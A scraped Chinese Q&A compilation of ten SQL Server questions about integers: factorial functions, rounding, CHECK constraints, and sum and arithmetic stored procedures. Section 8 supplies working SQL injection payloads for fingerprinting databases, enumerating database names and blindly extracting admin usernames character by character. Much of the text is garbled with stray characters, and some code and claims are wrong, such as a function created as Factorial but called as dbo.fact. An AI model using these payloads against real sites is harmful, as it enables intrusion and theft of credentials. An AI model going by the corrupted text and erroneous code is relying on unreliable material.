『壹』 資料庫技術與應用—sql Seerver問題:編寫用戶定義函數,輸入正整數,返回該正整數的階乘值!
這個網上有很多例子么~~要善於利用google和么~~ 呵呵
在庫中建立一個函數,代碼為:
set ANSI_NULLS ON
set QUOTED_IDENTIFIER ON
go
-- 計算輸入參數的階乘
CREATE FUNCTION [dbo].[Factorial](@num INT)
RETURNS BIGINT
AS
BEGIN
DECLARE @Result BIGINT;
DECLARE @i INT;
SELECT @Result = 1;
SELECT @i = 1;
IF (@num < 1)
BEGIN
-- 如果輸入的參數小於1返回1
SELECT @Result = 1
END
ELSE
BEGIN
-- 循環計算階乘
WHILE (@i <= @num)
BEGIN
SELECT @Result = @Result * @i;
SELECT @i = @i + 1;
END
END
-- 返回結果
RETURN @Result;
END
假設有表test01,列MyInt,類型為Int,值為4,執行查詢:
select dbo.fact(MyInt) from test01
則查詢結果為 24
1*2*3*4=24
『貳』 sql中取整語句怎麼寫
1.絕對值
SQL:select abs(-1) value
O:select abs(-1) value from al
2.取整(大)
S:select ceiling(-1.001) value
O:select ceil(-1.001) value from al
3.取整(小)
S:select floor(-1.001) value
O:select floor(-1.001) value from al
4.取整(截取)
S:select cast(-1.002 as int) value
O:select trunc(-1.002) value from al
5.四捨五入
S:select round(1.23456,4) value 1.23460
O:select round(1.23456,4) value from al 1.2346
『叄』 c語言下,怎樣往sql語句中插入整型變數 通過c語言,寫accsess資料庫
int carc = 1000; /* 隨便等於一個值 */
sprintf (sql, "update car set carcount=%d where id=1", carc);不過你是c++,如果是string類型肆改,直接字元串判雹磨加,做成流掘斗,方法太多了
『肆』 SQL語句 輸入三個數值,判斷這三個整數值是否能組成三角形。
大概的原理是這樣的,判斷三個整數芹物值是否能組成三角形,需滿足三邊(a+b)>cand(a+c)>band(b+c)>a,而判斷直角,用a&嫌沒液#178;+b²=c²,如果a²+b²<c²,是銳角,如果a²+b²>c²是鈍角。面積和周長都有相應的公式,很容易求的。如果用存儲過程做,首先要把輸入的三個數按從小到大重新排察衡序,再復制給abc,在寫語句判斷。
『伍』 sqlserver怎麼設置約束條件為整數
在 SQL Server 中,可以通過設置數據表欄位的約束條件來限制某些值的類型。
要設置約束條件為整數,可以使用 CHECK 約束。具體步驟如下:
1. 打開 SQL Server Management Studio 工具,連接到目標資料庫。
2. 在「對象資源管理器」中找到需要設置約束的表,右鍵點擊該表並選擇「設計」。
3. 在表設計界面中,選擇需要設置約束的欄位,在屬性面板中找到昌襲「約束」選正塵項。
4. 點擊「約束」選項後,會彈出約束面板,選擇「Check 約束」選舉迅禪項。
5. 在「Check 約束」選項中,可以輸入約束條件,比如「欄位名 >= 0」,表示該欄位只能存儲大於或等於 0 的整數。
6. 輸入完約束條件後,點擊「確定」保存設置。
現在該欄位就被設置為僅能存儲整數值。當向該欄位插入非整數值時,系統會拒絕該操作並返回錯誤信息。
『陸』 SQL里的int類型
1、int、bigint、smallint 和 tinyint是使用整數數據的精確數字數據類型。
2、主要類型、范圍、存儲體如下:
1)bigint:從 -2^63 (-9223372036854775808) 到 2^63-1 (9223372036854775807) 的整型數據,存儲 8 個位元組。
2)int:從 -2^31 (-2,147,483,648) 到 2^31 - 1 (2,147,483,647) 的整型數據。存儲 4 個位元組
3)smallint:從 -2^15 (-32,768) 到 2^15 - 1 (32,767) 的整型數據,存儲2 個位元組。
4)tinyint:從 0 到 255 的整型數據,存儲 1 位元組。
(6)sql整數輸入擴展閱讀:
1、int的定義:int是一種數據類型,在編程語言(C、C++、C#、Java等)中,它是用於定義整數類型變數的標識符。
2、int的概述:int的存在很廣泛,在目前在一般的家用電腦中,int佔用4位元組,32比特,數據范圍為-2147483648~2147483647[-2^31~2^31-1],在微型機中,int佔用2位元組,16比特,數據范圍為-32768~32767[-2^15~2^15-1]。使用printf輸出int佔用位元組數量:printf("%d",sizeof(int)); 除了int類型之外,還有short、long、long long類型可以表示整數。unsigned int 表示無符號整數,數據范圍為[0~2^32-1],unsigned int 表示無符號整數,數據范圍為[0~2^32-1]。
『柒』 SQL Server限制輸入值的取值范圍的是什麼
SQL Server限制輸入值的取值范圍的是用戶自己定義的。
CHECK 約束用於限制列中的值的范圍。
如果對單個列定義 CHECK 約束,那麼該列只允許特定的值。
如果對一個表定義 CHECK 約束,那麼此約束會在特定的列中對值進行限制。
撤銷 CHECK 約束
如需撤銷 CHECK 約束,請使用下面的 SQL:
SQL Server / Oracle / MS Access:
ALTER TABLE Persons
DROP CONSTRAINT chk_Person
MySQL:
ALTER TABLE Persons
DROP CHECK chk_Person
(7)sql整數輸入擴展閱讀
check主要用於限定欄位值的范圍
常見用法舉例:
1、重量需大於0,並且小於等於100
WEIGHT NUMERIC(9,2) CHECK(WEIGHT>0 AND WEIGHT<=100
2、性別取『男』或者『女』
SSEX CHAR(2) CHECK(SSEX='male' OR SSEX='female')
3、年齡取15-45
SAGE SMALLINT CHECK(SAGE>=15 AND SAGE<=45)
4、學分大於0
SEMSTER SMALLINT CHECK(SEMSTER>0)
『捌』 SQL注入中整型參數和字元串型參數是什麼 有什麼區別嗎
我幫你解釋以下吧,我只比較了解數字型的。
2、如果存在注入漏洞 and 後面是1=1,1=1是邏輯值真,所以所以網頁返回正常,與原來的網頁相同。
3、and後面是1=2是邏輯值假,整個語句就是假,所以返回異常的頁面。
判斷出存在注入漏洞後,就可以構造SQL語句猜解了。
SQL資料庫可以運用一種叫做爆欄位的方法,而ACCESS的就得一個字元一個字元的猜解了。
首先判斷資料庫類型
URL and (select count(*) from sysobjects)>0;--返回正常sql server
URL and (select count(*) from msysobjects)>0;--返回正常Access
SQL資料庫爆的方法:
URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法得到資料庫個數
URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--爆出庫名
--依次提交 dbid = 2.3.4... 得到更多的資料庫名
爆欄位如果你懂得SQL語言的話應該能夠觸類旁通的。
ACCESS猜解:
URL and exists (select * from admin);--猜解admin表名
URL and exists (select username from admin) ;--猜解username欄位
URL and exists (select id from admin where len(username)=5)猜解username長度。
猜出長度後再一位一位的猜字元。
URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
『玖』 sql 編程 如果要求你輸入一個整數n,求1+2+3+..+n,如何求解
CREATE PROC pro_sum
@n int
AS
DECLARE @sum int,@i int
SET @sum=0
SET @i=1
WHILE(@i<=@n)
BEGIN
SET @sum=@sum+@i
SET @i=@i+1
END
print'1+2+3+...+n='+convert(nvarchar(1000),@sum)
EXEC pro_sum 100
『拾』 sql sever編寫存儲過程實現輸入兩個整數,計算並輸出他們的和差積商
和
CREATE PROCEDURE HeP
@p1 int,
@p2 int
AS
BEGIN
select @p1+@p2
END
差
CREATE PROCEDURE ChaP
@p1 int,
@p2 int
AS
BEGIN
select @p1-@p2
END
乘
CREATE PROCEDURE ChengP
@p1 int,
@p2 int
AS
BEGIN
select @p1*@p2
END
除
CREATE PROCEDURE chuP
@p1 float,
@p2 float
AS
BEGIN
select @p1/@p2
END